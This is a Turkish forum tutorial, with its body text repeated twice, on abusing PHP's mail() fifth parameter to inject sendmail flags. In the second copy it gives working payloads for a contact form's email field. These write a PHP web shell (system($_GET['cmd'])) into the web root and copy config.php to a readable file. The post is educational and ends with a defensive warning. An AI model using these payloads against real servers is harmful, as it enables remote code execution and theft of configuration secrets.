- Katılım
- 10 Ocak 2026
- Mesajlar
- 5
- Tepkime puanı
- 12
- Puan
- 3
1) Mail fonksiyonu nedir ?
PHP en çok kullanılan web dillerinden bir tanesidir, ve bu dilin zafiyete sebep olabilecek fonksiyonlarını bilmek saldırgan için avantaj sağlayacaktır. Özellikle Command Execution tarzı zafiyetlere sebep olan fonksiyonlar mutlaka gözden geçirilmelidir. Bunlardan bir tanesi olan mail() fonksiyonunu inceleyeceğiz.
Dinamik bir web sitesi oluşturmak için “contact” formları sıkça kullanılmakta. Bu sayede site yöneticisi ve kullanıcılar arası bir iletişim gerçekleşmekte. PHP ile tasarlanmış web sitesinde bu formlar için mail() fonksiyonu kullanılan yöntemlerden bir tanesidir. Bu yöntemin kullanımı basit olmakla birlikte dikkatli kullanılmadığı durumda Command Execution zafiyetine sebep olabilmektedir.
2) Kullanım örneği ?
PHP’ de mail fonksiyonu 3 zorunlu 2 de opsiyonel parametre olarak totalde 5 adet parametre alır.
Terminalden “php --rf mail” komutunu girerek göz atabilirsiniz.

Bu resimden anlaşılacağı üzere $to , $subject ve $message parametrelerini kullanmak zorundayız.
Bu fonksiyonun örnek kullanımı şu şekildedir ;
mail($to, $subject, $message, $additional_headers, $additional_parameters);
Şimdi basit bir form hazırlayalım, ve bu form üzerinden ad, eposta, konu ve mesaj gibi değişkenler alalım ve bu değişkenlerimizi “send.php” dosyamız üzerinden mail() fonksiyonu kullanarak kendi mail adresimize gönderelim.
index.php İçeriği ;

send.php içeriği ;

index.php sayfası üzerinden girilen değerler sonucunda "ozan@bughaneacademy.com" adresine mail gönderme işlemi gerçekleşmektedir. mail() fonksiyonu basit manada bu şekilde çalışmaktadır.
3) Zafiyetin doğuşu ?
Yukarıda mail fonksiyonun alması gereken zorunlu parametreler dışında 2 adet opsiyonel parametresi var demiştik. Bunlardan sonuncusu olan ve “$additional_parameters” şeklinde bahsi geçen 5. parametremiz zafiyetin oluştuğu nokta. Bu 5. parametremiz ile mail fonksiyonu içerisinde özel olarak tanımlanmış ek parametreler kullanabilmekteyiz.
Bu ek parametrelerden bizim için ilginç olan bazılarına hızlı bir göz atalım ;
Uzun lafın kısası bu parametrelere kendi değerlerimizi atayarak Arbitrary File Read ve Command Execution zafiyetleri elde edeceğiz.
4) mail() fonksiyonu ile RCE ?
Yukarıda “-X” parametresi aracılığıyla log dosyası yazdırabileceğimizden bahsettik. Biz yazdıracağımız log dosyasını “.php” uzantılı bir dosya olarak belirleyip, içerisine de kendi php kodlarımızı yazarak komutlarımızı çalıştırabileceğimiz bir shell elde edebiliriz.
Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;
Mesaj içeriğine de komut çalıştırmak adına küçük bir php kodu yerleştiriyoruz ;

Bu işlem sonucu log dosyası olarak “shell.php” adlı dosya oluşuyor ve “cmd” parametresi ile komutlarımızı çalıştırabiliyoruz.

5) mail() fonksiyonu ile Arbitrary File Read ?
“-C” parametresi ile alternatif bir configuration dosyası belirtebileceğimizden bahsetmiştik. Bu dosya değerini okumak istediğimiz dosya olarak belirteceğiz ve sonrasında “-X” parametresi ile bunu log dosyamıza yazdıracağız. Daha sonra log dosyasını okuyarak hedef dosyamızı okumuş olacağız.
Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;

Bu işlem sonucu “read.txt” dosyası üzerinden “config.php” dosyasının kopyasını okuyabiliriz.

Bu örnek, gözden kaçan tek bir parametrenin bir sunucuyu tamamen ele geçirmek için yeterli olabileceğini açıkça gösteriyor.
Sendmail argümanlarını manipüle ederek basit bir iletişim formundan tam yetkili RCE’ye yalnızca birkaç adımda ulaştık.
Gerçek dünyadaki bug bounty senaryolarında da kritik etkiler genellikle bu tarz küçük yapılandırma hatalarından ortaya çıkar.
mail() fonksiyonuna asla körü körüne güvenmeyin — her sistem çağrısını potansiyel bir komut çalıştırma vektörü olarak değerlendirin.
PHP en çok kullanılan web dillerinden bir tanesidir, ve bu dilin zafiyete sebep olabilecek fonksiyonlarını bilmek saldırgan için avantaj sağlayacaktır. Özellikle Command Execution tarzı zafiyetlere sebep olan fonksiyonlar mutlaka gözden geçirilmelidir. Bunlardan bir tanesi olan mail() fonksiyonunu inceleyeceğiz.
Dinamik bir web sitesi oluşturmak için “contact” formları sıkça kullanılmakta. Bu sayede site yöneticisi ve kullanıcılar arası bir iletişim gerçekleşmekte. PHP ile tasarlanmış web sitesinde bu formlar için mail() fonksiyonu kullanılan yöntemlerden bir tanesidir. Bu yöntemin kullanımı basit olmakla birlikte dikkatli kullanılmadığı durumda Command Execution zafiyetine sebep olabilmektedir.
2) Kullanım örneği ?
PHP’ de mail fonksiyonu 3 zorunlu 2 de opsiyonel parametre olarak totalde 5 adet parametre alır.
Terminalden “php --rf mail” komutunu girerek göz atabilirsiniz.

Bu resimden anlaşılacağı üzere $to , $subject ve $message parametrelerini kullanmak zorundayız.
Bu fonksiyonun örnek kullanımı şu şekildedir ;
mail($to, $subject, $message, $additional_headers, $additional_parameters);
Şimdi basit bir form hazırlayalım, ve bu form üzerinden ad, eposta, konu ve mesaj gibi değişkenler alalım ve bu değişkenlerimizi “send.php” dosyamız üzerinden mail() fonksiyonu kullanarak kendi mail adresimize gönderelim.
index.php İçeriği ;

send.php içeriği ;

index.php sayfası üzerinden girilen değerler sonucunda "ozan@bughaneacademy.com" adresine mail gönderme işlemi gerçekleşmektedir. mail() fonksiyonu basit manada bu şekilde çalışmaktadır.
3) Zafiyetin doğuşu ?
Yukarıda mail fonksiyonun alması gereken zorunlu parametreler dışında 2 adet opsiyonel parametresi var demiştik. Bunlardan sonuncusu olan ve “$additional_parameters” şeklinde bahsi geçen 5. parametremiz zafiyetin oluştuğu nokta. Bu 5. parametremiz ile mail fonksiyonu içerisinde özel olarak tanımlanmış ek parametreler kullanabilmekteyiz.
Bu ek parametrelerden bizim için ilginç olan bazılarına hızlı bir göz atalım ;
Aslında bu parametreler, “sendmail” adlı uygulamaya ait parametrelerdir. Çünkü PHP’nin mail() adlı fonksiyonu “sendmail” uygulaması üzerinden işlem gerçekleştirmektedir. Bu bilgi üzerinden çok fazla durmayacağım fakat isterseniz sendmail hakkında araştırma yaparak parametrelerin mantığını daha detaylı araştırabilirsiniz.-C = Alternatif configuration dosyası belirtmek için kullanılır.
-O = Seçilen özelliğin değerini belirlemek için kullanılır.
-X = Log dosyası yazdırmak için kullanılır.
Uzun lafın kısası bu parametrelere kendi değerlerimizi atayarak Arbitrary File Read ve Command Execution zafiyetleri elde edeceğiz.
4) mail() fonksiyonu ile RCE ?
Yukarıda “-X” parametresi aracılığıyla log dosyası yazdırabileceğimizden bahsettik. Biz yazdıracağımız log dosyasını “.php” uzantılı bir dosya olarak belirleyip, içerisine de kendi php kodlarımızı yazarak komutlarımızı çalıştırabileceğimiz bir shell elde edebiliriz.
Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;
hacker@bughaneacademy.com -OQueueDirectory=/var/www/html/mailrce/ -X/var/www/html/mailrce/shell.php
Mesaj içeriğine de komut çalıştırmak adına küçük bir php kodu yerleştiriyoruz ;
<?php system($_GET["cmd"]); ?>

Bu işlem sonucu log dosyası olarak “shell.php” adlı dosya oluşuyor ve “cmd” parametresi ile komutlarımızı çalıştırabiliyoruz.

5) mail() fonksiyonu ile Arbitrary File Read ?
“-C” parametresi ile alternatif bir configuration dosyası belirtebileceğimizden bahsetmiştik. Bu dosya değerini okumak istediğimiz dosya olarak belirteceğiz ve sonrasında “-X” parametresi ile bunu log dosyamıza yazdıracağız. Daha sonra log dosyasını okuyarak hedef dosyamızı okumuş olacağız.
Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;
ozan@bughaneacademy.com -C/var/www/html/mailrce/config.php -OQueueDirectory=/var/www/html/mailrce/ -X/var/www/html/mail/read.txt

Bu işlem sonucu “read.txt” dosyası üzerinden “config.php” dosyasının kopyasını okuyabiliriz.

Bu örnek, gözden kaçan tek bir parametrenin bir sunucuyu tamamen ele geçirmek için yeterli olabileceğini açıkça gösteriyor.
Sendmail argümanlarını manipüle ederek basit bir iletişim formundan tam yetkili RCE’ye yalnızca birkaç adımda ulaştık.
Gerçek dünyadaki bug bounty senaryolarında da kritik etkiler genellikle bu tarz küçük yapılandırma hatalarından ortaya çıkar.
mail() fonksiyonuna asla körü körüne güvenmeyin — her sistem çağrısını potansiyel bir komut çalıştırma vektörü olarak değerlendirin.
Daha fazla offensive security, bug bounty ve gerçek dünya exploit içerikleri için sosyal medya hesaplarımdan beni takip edebilirsiniz.
Yeni write-up’lar, PoC videoları ve teknik araştırmalar düzenli olarak paylaşıyorum.
- YouTube: https://www.youtube.com/@NullSecurityX
- Twitter (X): https://x.com/NullSecurityX
- Instagram: https://www.instagram.com/nullsecurityx/